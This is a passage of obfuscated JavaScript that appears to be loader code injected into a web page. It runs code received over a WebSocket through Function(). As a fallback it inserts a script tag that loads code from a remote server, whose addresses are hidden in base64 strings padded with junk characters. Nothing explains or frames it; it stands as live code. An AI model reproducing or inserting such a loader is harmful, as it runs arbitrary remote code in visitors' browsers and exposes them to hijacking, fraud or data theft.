Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};